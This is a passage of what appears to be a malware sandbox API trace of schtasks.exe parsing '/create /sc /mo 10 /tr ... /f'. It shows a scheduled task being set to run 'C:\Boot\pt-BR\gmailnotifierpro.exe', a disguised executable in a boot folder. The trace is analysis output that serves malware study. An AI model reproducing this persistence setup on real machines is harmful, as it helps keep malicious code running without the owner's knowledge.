_Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|p|") returned 3 [0108.264] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|mo|") returned 4 [0108.264] lstrlenW (lpString="|p|") returned 3 [0108.264] lstrlenW (lpString="|mo|") returned 4 [0108.264] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.264] lstrlenW (lpString="ru") returned 2 [0108.264] lstrlenW (lpString="ru") returned 2 [0108.264] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.264] lstrlenW (lpString="mo") returned 2 [0108.264] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.264] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|ru|") returned 4 [0108.264] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|mo|") returned 4 [0108.264] lstrlenW (lpString="|ru|") returned 4 [0108.264] lstrlenW (lpString="|mo|") returned 4 [0108.264] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0108.264] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.264] lstrlenW (lpString="rp") returned 2 [0108.264] lstrlenW (lpString="rp") returned 2 [0108.264] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.264] lstrlenW (lpString="mo") returned 2 [0108.264] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.264] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|rp|") returned 4 [0108.264] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|mo|") returned 4 [0108.264] lstrlenW (lpString="|rp|") returned 4 [0108.264] lstrlenW (lpString="|mo|") returned 4 [0108.264] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0108.264] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.264] lstrlenW (lpString="sc") returned 2 [0108.265] lstrlenW (lpString="sc") returned 2 [0108.265] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.265] lstrlenW (lpString="mo") returned 2 [0108.265] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.265] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|sc|") returned 4 [0108.265] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|mo|") returned 4 [0108.265] lstrlenW (lpString="|sc|") returned 4 [0108.265] lstrlenW (lpString="|mo|") returned 4 [0108.265] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0108.265] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.265] lstrlenW (lpString="mo") returned 2 [0108.265] lstrlenW (lpString="mo") returned 2 [0108.265] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.265] lstrlenW (lpString="mo") returned 2 [0108.265] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.265] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|mo|") returned 4 [0108.265] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|mo|") returned 4 [0108.265] lstrlenW (lpString="|mo|") returned 4 [0108.265] lstrlenW (lpString="|mo|") returned 4 [0108.265] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0108.265] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.265] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.265] lstrlenW (lpString="10") returned 2 [0108.265] lstrlenW (lpString="-/") returned 2 [0108.265] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0108.265] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.265] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.265] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.265] lstrlenW (lpString="10") returned 2 [0108.265] StrChrIW (lpStart="10", wMatch=0x3a) returned 0x0 [0108.265] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.265] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.266] _memicmp (_Buf1=0x177cee7aa40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.266] lstrlenW (lpString="10") returned 2 [0108.266] lstrlenW (lpString="10") returned 2 [0108.266] lstrlenW (lpString=" \x09") returned 2 [0108.266] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0108.266] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0108.266] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0108.266] GetLastError () returned 0x0 [0108.266] lstrlenW (lpString="10") returned 2 [0108.266] lstrlenW (lpString="10") returned 2 [0108.266] GetProcessHeap () returned 0x177cee70000 [0108.266] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x6) returned 0x177cee74e90 [0108.266] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.266] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.266] lstrlenW (lpString="/tr") returned 3 [0108.266] lstrlenW (lpString="-/") returned 2 [0108.266] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.266] lstrlenW (lpString="create") returned 6 [0108.266] lstrlenW (lpString="create") returned 6 [0108.266] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.266] lstrlenW (lpString="tr") returned 2 [0108.266] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.266] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|create|") returned 8 [0108.266] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tr|") returned 4 [0108.266] lstrlenW (lpString="|create|") returned 8 [0108.266] lstrlenW (lpString="|tr|") returned 4 [0108.266] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0108.266] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.266] lstrlenW (lpString="?") returned 1 [0108.266] lstrlenW (lpString="?") returned 1 [0108.266] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.266] lstrlenW (lpString="tr") returned 2 [0108.266] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.267] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|?|") returned 3 [0108.267] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tr|") returned 4 [0108.267] lstrlenW (lpString="|?|") returned 3 [0108.267] lstrlenW (lpString="|tr|") returned 4 [0108.267] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.267] lstrlenW (lpString="s") returned 1 [0108.267] lstrlenW (lpString="s") returned 1 [0108.267] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.267] lstrlenW (lpString="tr") returned 2 [0108.267] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.267] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|s|") returned 3 [0108.267] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tr|") returned 4 [0108.267] lstrlenW (lpString="|s|") returned 3 [0108.267] lstrlenW (lpString="|tr|") returned 4 [0108.267] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.267] lstrlenW (lpString="u") returned 1 [0108.267] lstrlenW (lpString="u") returned 1 [0108.267] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.267] lstrlenW (lpString="tr") returned 2 [0108.267] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.267] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|u|") returned 3 [0108.267] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tr|") returned 4 [0108.267] lstrlenW (lpString="|u|") returned 3 [0108.267] lstrlenW (lpString="|tr|") returned 4 [0108.267] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.267] lstrlenW (lpString="p") returned 1 [0108.267] lstrlenW (lpString="p") returned 1 [0108.267] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.267] lstrlenW (lpString="tr") returned 2 [0108.268] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.268] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|p|") returned 3 [0108.268] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tr|") returned 4 [0108.268] lstrlenW (lpString="|p|") returned 3 [0108.268] lstrlenW (lpString="|tr|") returned 4 [0108.268] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.268] lstrlenW (lpString="ru") returned 2 [0108.268] lstrlenW (lpString="ru") returned 2 [0108.268] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.268] lstrlenW (lpString="tr") returned 2 [0108.268] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.268] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|ru|") returned 4 [0108.268] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tr|") returned 4 [0108.268] lstrlenW (lpString="|ru|") returned 4 [0108.268] lstrlenW (lpString="|tr|") returned 4 [0108.268] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0108.268] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.268] lstrlenW (lpString="rp") returned 2 [0108.268] lstrlenW (lpString="rp") returned 2 [0108.268] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.268] lstrlenW (lpString="tr") returned 2 [0108.268] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.268] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|rp|") returned 4 [0108.268] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tr|") returned 4 [0108.268] lstrlenW (lpString="|rp|") returned 4 [0108.268] lstrlenW (lpString="|tr|") returned 4 [0108.268] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0108.268] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.268] lstrlenW (lpString="sc") returned 2 [0108.268] lstrlenW (lpString="sc") returned 2 [0108.268] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.269] lstrlenW (lpString="tr") returned 2 [0108.269] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.269] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|sc|") returned 4 [0108.269] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tr|") returned 4 [0108.269] lstrlenW (lpString="|sc|") returned 4 [0108.269] lstrlenW (lpString="|tr|") returned 4 [0108.269] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0108.269] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.269] lstrlenW (lpString="mo") returned 2 [0108.269] lstrlenW (lpString="mo") returned 2 [0108.269] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.269] lstrlenW (lpString="tr") returned 2 [0108.269] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.269] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|mo|") returned 4 [0108.269] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tr|") returned 4 [0108.269] lstrlenW (lpString="|mo|") returned 4 [0108.269] lstrlenW (lpString="|tr|") returned 4 [0108.269] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0108.269] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.269] lstrlenW (lpString="d") returned 1 [0108.269] lstrlenW (lpString="d") returned 1 [0108.269] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.269] lstrlenW (lpString="tr") returned 2 [0108.269] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.269] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|d|") returned 3 [0108.269] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tr|") returned 4 [0108.269] lstrlenW (lpString="|d|") returned 3 [0108.269] lstrlenW (lpString="|tr|") returned 4 [0108.269] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.269] lstrlenW (lpString="m") returned 1 [0108.269] lstrlenW (lpString="m") returned 1 [0108.269] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.269] lstrlenW (lpString="tr") returned 2 [0108.270] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.270] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|m|") returned 3 [0108.270] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tr|") returned 4 [0108.270] lstrlenW (lpString="|m|") returned 3 [0108.270] lstrlenW (lpString="|tr|") returned 4 [0108.270] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.270] lstrlenW (lpString="i") returned 1 [0108.270] lstrlenW (lpString="i") returned 1 [0108.270] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.270] lstrlenW (lpString="tr") returned 2 [0108.270] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.270] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|i|") returned 3 [0108.270] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tr|") returned 4 [0108.270] lstrlenW (lpString="|i|") returned 3 [0108.270] lstrlenW (lpString="|tr|") returned 4 [0108.270] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.270] lstrlenW (lpString="tn") returned 2 [0108.270] lstrlenW (lpString="tn") returned 2 [0108.270] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.270] lstrlenW (lpString="tr") returned 2 [0108.270] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.270] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tn|") returned 4 [0108.270] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tr|") returned 4 [0108.270] lstrlenW (lpString="|tn|") returned 4 [0108.270] lstrlenW (lpString="|tr|") returned 4 [0108.270] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0108.270] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.270] lstrlenW (lpString="tr") returned 2 [0108.270] lstrlenW (lpString="tr") returned 2 [0108.270] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.270] lstrlenW (lpString="tr") returned 2 [0108.270] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.271] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tr|") returned 4 [0108.271] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tr|") returned 4 [0108.271] lstrlenW (lpString="|tr|") returned 4 [0108.271] lstrlenW (lpString="|tr|") returned 4 [0108.271] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0108.271] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.271] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.271] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0108.271] lstrlenW (lpString="-/") returned 2 [0108.271] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0108.271] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.271] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.271] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.271] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0108.271] StrChrIW (lpStart="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'", wMatch=0x3a) returned=":\\Boot\\pt-BR\\gmailnotifierpro.exe'" [0108.271] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0108.271] _memicmp (_Buf1=0x177cee74330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.271] _memicmp (_Buf1=0x177cee7aa20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.271] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.271] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.271] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.271] lstrlenW (lpString="'C") returned 2 [0108.271] lstrlenW (lpString="-/") returned 2 [0108.271] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0108.271] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.271] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.271] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.271] _memicmp (_Buf1=0x177cee7aa40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.271] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0108.272] GetProcessHeap () returned 0x177cee70000 [0108.272] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7a9a0) returned 1 [0108.272] GetProcessHeap () returned 0x177cee70000 [0108.272] RtlReAllocateHeap (Heap=0x177cee70000, Flags=0xc, Ptr=0x177cee7a9a0, Size=0x4a) returned 0x177cee742d0 [0108.272] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0108.272] lstrlenW (lpString=" \x09") returned 2 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0108.272] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0108.273] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0108.273] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0108.273] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0108.273] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0108.273] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0108.273] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0108.273] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0108.273] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0108.273] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0108.273] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0108.273] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0108.273] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0108.273] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0108.273] GetLastError () returned 0x0 [0108.273] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0108.273] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0108.273] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.273] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.273] lstrlenW (lpString="/f") returned 2 [0108.273] lstrlenW (lpString="-/") returned 2 [0108.273] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.273] lstrlenW (lpString="create") returned 6 [0108.273] lstrlenW (lpString="create") returned 6 [0108.273] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.273] lstrlenW (lpString="f") returned 1 [0108.273] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.273] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|create|") returned 8 [0108.273] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.273] lstrlenW (lpString="|create|") returned 8 [0108.273] lstrlenW (lpString="|f|") returned 3 [0108.273] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0108.273] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.273] lstrlenW (lpString="?") returned 1 [0108.274] lstrlenW (lpString="?") returned 1 [0108.274] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.274] lstrlenW (lpString="f") returned 1 [0108.274] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.274] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|?|") returned 3 [0108.274] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.274] lstrlenW (lpString="|?|") returned 3 [0108.274] lstrlenW (lpString="|f|") returned 3 [0108.274] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0108.274] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.274] lstrlenW (lpString="s") returned 1 [0108.274] lstrlenW (lpString="s") returned 1 [0108.274] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.274] lstrlenW (lpString="f") returned 1 [0108.274] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.274] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|s|") returned 3 [0108.274] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.274] lstrlenW (lpString="|s|") returned 3 [0108.274] lstrlenW (lpString="|f|") returned 3 [0108.274] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0108.274] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.274] lstrlenW (lpString="u") returned 1 [0108.274] lstrlenW (lpString="u") returned 1 [0108.274] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.274] lstrlenW (lpString="f") returned 1 [0108.274] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.274] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|u|") returned 3 [0108.274] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.274] lstrlenW (lpString="|u|") returned 3 [0108.274] lstrlenW (lpString="|f|") returned 3 [0108.274] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0108.274] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.275] lstrlenW (lpString="p") returned 1 [0108.275] lstrlenW (lpString="p") returned 1 [0108.275] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.275] lstrlenW (lpString="f") returned 1 [0108.275] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.275] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|p|") returned 3 [0108.275] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|f|") returned 3 [0108.275] lstrlenW (lpString="|p|") returned 3 [0108.275] lstrlenW (lpString="|f|") returned 3 [0108.275] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0108.275] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.275] lstrlenW (lpString="ru") returned 2 